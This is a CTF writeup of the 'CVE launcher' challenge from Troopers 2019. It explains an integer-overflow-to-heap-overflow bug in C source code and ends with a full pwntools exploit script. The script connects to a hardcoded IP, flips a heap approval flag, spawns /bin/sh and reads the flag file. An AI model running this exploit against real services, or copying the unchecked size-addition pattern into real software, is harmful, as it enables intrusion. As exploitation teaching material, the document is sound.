[packetwars 2019] Writeup 'CVE launcher'

March 27, 2019 - 6 minute read - parzel

This is a writeup for the service CVE launcher of the packetwars CTF from the Troopers 2019. You can get the challenges here and ask questions and give positive feedback to him.

While I did not finish the exploit in time at the event, I finished it afterwards in the train and also was able to improve my workflow for binary exploitation a bit. If you are interested how, you can check my blog post about it here.

The challenge was to exploit CVE launcher, a service running on a remote server. Luckily we got the binary and also the source code. When we execute the binary we can see it is greeting us with several options. Lets explore this a bit.

╰─$ ./cve_launcher
                                                                             
Please choose:
  [l]aunch CVE
  [t]est CVE
  [a]dd CVE
  [d]elete CVE
  [s]how CVE
  [q]uit

Choice:

Let us start with showing what kind of CVEs are available.

Choice: s

-- Show CVE --
Select CVE:
[01] CVE-2020-202020 (approved)
[02] CVE-2020-010101 (approved)

Choice: 1
                            
Index: 1
Name: CVE-2020-202020
State: approved
Exploit: echo 'AAAAAAAAAAAAAAAAAAAAAAAAA<$payload$>' | ncat <$target$>      
Payload: echo 'Code Execution, yay!'

Trying to launch a CVE tells us that this function is currently not supported. If we try to test a CVE, we can pick between the two already approved CVEs and the payload is executed on the host system.

Choice: t

-- Test CVE Payload --
Select CVE:
[01] CVE-2020-202020 (approved)
[02] CVE-2020-010101 (approved)

Choice: 1
Launching Payload for CVE-2020-202020...
system("echo 'Code Execution, yay!'");
Code Execution, yay!

Alright so lets try to create our own CVE and execute it! For the creation of an exploit we need to set the size of the exploit and payload. Afterwards we can define these. I just pick “/bin/sh” here because we aim for a shell on the remote service.

Choice: a                                                                    
Size of Exploit (in bytes): 10
Size of Payload (in bytes): 10
Exploit size: 10 [0xa] Payload size: 10 [0xa] Combined: 20 [0x14]        
CVE Name: test
Exploit: /bin/sh
Payload: /bin/sh
Added test!

Please choose:
  [l]aunch CVE
  [t]est CVE
  [a]dd CVE
  [d]elete CVE
  [s]how CVE
  [q]uit

Choice: t

-- Test CVE Payload --
Select CVE:
[01] CVE-2020-202020 (approved)
[02] CVE-2020-010101 (approved)
[03] test (pending)

Choice: 3
Not allowed! CVE must be in state 'approved'!

We see that the exploit needs to be approved so that we can test (and therefore execute) the payload. At this point I just started to play around with the binary, testing things like very long names, negative values, very high values and so on. During this I noticed the following.

Choice: a
Size of Exploit (in bytes): 100000000000
Size of Payload (in bytes): 100000000000
Exploit size: 1215752192 [0x4876e800] Payload size: 1215752192 [0x4876e800] Combined: -1863462912 [0x90edd000]

This looks like an integer overflow to me! Maybe we have the chance to abuse this. Lets look into the source code.

void addCVE() {
    struct CVE* cve;
    struct CVE* cursor;
    size_t exploit_size;
    size_t payload_size;
    char* exploit;
    char* payload;
    char buf[20];

    printf("Size of Exploit (in bytes): ");
    fgets(buf, sizeof(buf), stdin);
    exploit_size = atoi(buf);

    printf("Size of Payload (in bytes): ");
    fgets(buf, sizeof(buf), stdin);
    payload_size = atoi(buf);

    cve = malloc(sizeof(struct CVE));
    exploit = malloc(exploit_size+payload_size);
    printf("exploit ptr is %p\n", exploit);
    if(!cve || !exploit)
        exit(-1);

    printf("CVE Name: ");
    fgets(cve->name, sizeof(cve->name), stdin);
    cve->name[strlen(cve->name)-1] = 0;
    strcpy(cve->state, "pending");
 
    printf("Exploit: ");
    read(STDIN_FILENO, exploit, exploit_size);
    printf("read done\n");
    exploit[exploit_size-1] = 0;
    printf("assignment done\n");
    cve->exploit = exploit;

    payload = exploit + strlen(exploit) + 1;

    printf("payload ptr is %p\n", payload);

    printf("Payload: ");
    read(STDIN_FILENO, payload, payload_size);
    payload[payload_size-1] = 0;
    cve->payload = payload;
    cve->next = NULL;

We see that the exploit and payload size are converted from a string to an integer with atoi. Later on their combined size is allocated on the heap. The bug above can be explained with the integer max size in c. An integer can only hold a value until 2147483647. After that it “tips” into the negative range. As seen here with exploit size 2147483648.

Choice: a
Size of Exploit (in bytes): 2147483648
Size of Payload (in bytes): 12
Exploit size: -2147483648 [0x80000000] Payload size: 12 [0xc] Combined: -2147483636 [0x8000000c]

How can we abuse that? We know that objects holding the CVEs are allocated on the heap. With gef/gdb we can have a nice view of the heap area.

As we can see the CVE name and its data are stored on the heap. Additionally the approval state is stored on the heap. Now we can connect the dots. Maybe with the integer overflow we can trigger an out of bound write on the heap and this allows us to change the status from on of our own created CVEs from “pending” to “approved”. For this we need to understand the source code a little bit better.

The malloc call allocates enough space for payload and exploit size combined by adding these together. Later on we are reading as much input from stdin as the individual sizes allow us to do. Thats where the bug comes into play. If we manage to get the allocated size to be smaller than the payload and exploit size individually, we can overflow chunks on the heap.

Execution of this is relatively simple. We just pick an exploit size that is so big that combined with payload size the resulting combined size is overflowed into the begin of the positive range.

Choice: a
Size of Exploit (in bytes): 4294967200
Size of Payload (in bytes): 100
Exploit size: -96 [0xffffffa0] Payload size: 100 [0x64] Combined: 4 [0x4]

As you can see we only allocate 4 bytes with malloc now, while we are able to read 100 bytes for the payload from stdin (and none for exploit because it is negative).

There is still one more thing to handle. As you can see in the picture above, if we overflow the payload we can only overflow in the structure after our CVE. Therefore to make this work we first allocate some space (a dummy CVE) and our actual payload we want to trigger afterwards. Afte the payload we can delete or in terms of malloc free the space again. Because of the way malloc works, if we allocate space that is the same size or smaller then our freed dummy chunk, it will be put in the same slot. And this allows us to overflow and approve our actual payload.

The full exploit now looks like this:

  1. Create dummy exploit to reserve some space on the heap
  2. Create exploit with payload we want to trigger later on
  3. Remove dummy exploit
  4. Create overflowing exploit
     5. Overflow approved into our payload exploit
     6. “Test” our payload exploit

Down below you can find the complete exploit. If you have questions or comments feel free to write me at twitter @parzel2

'''
POC for exploitation of CVE launcher at troopers19
'''

from pwn import *

sh = remote("63.32.45.10", 1337)

def read_until_timeout(time=0.2):
    while True:
        text = sh.recvline(timeout=time)
        if not text:
            break
        print(text.decode(), end="")

def write_and_read(commands):
    if not isinstance(commands, list):
        commands = [commands]
    for c in commands:
        sh.sendline(c)
        read_until_timeout()


# show menu
read_until_timeout()

# create dummy exploit
write_and_read("a")
write_and_read("2")
write_and_read("2")
write_and_read("dummy")
write_and_read("B")
write_and_read("C")
write_and_read("s")
write_and_read("3")

# create actual exploit
write_and_read("a")
write_and_read("20")
write_and_read("20")
write_and_read("/bin/sh")
write_and_read("/bin/sh")
write_and_read("/bin/sh")

write_and_read("s")
write_and_read("4")

# remove dummy exploit
write_and_read("d")
write_and_read("3")

# create overflowing exploit
write_and_read("a")
write_and_read("4294967200") # Overflow to the border of shifting again into positive integer area
write_and_read("100") # This tips the iceberg and too less memory gets allocated
write_and_read("overfl0w")
# No input for exploit because it is negative
write_and_read("BBBB"+"A"*47+"approved")

# trigger exploit
write_and_read("t")
write_and_read("3")
print("\n[+] Now you got a shell")
print("$ id")
write_and_read("id")
print("$ cat flag")
write_and_read("cat flag.txt")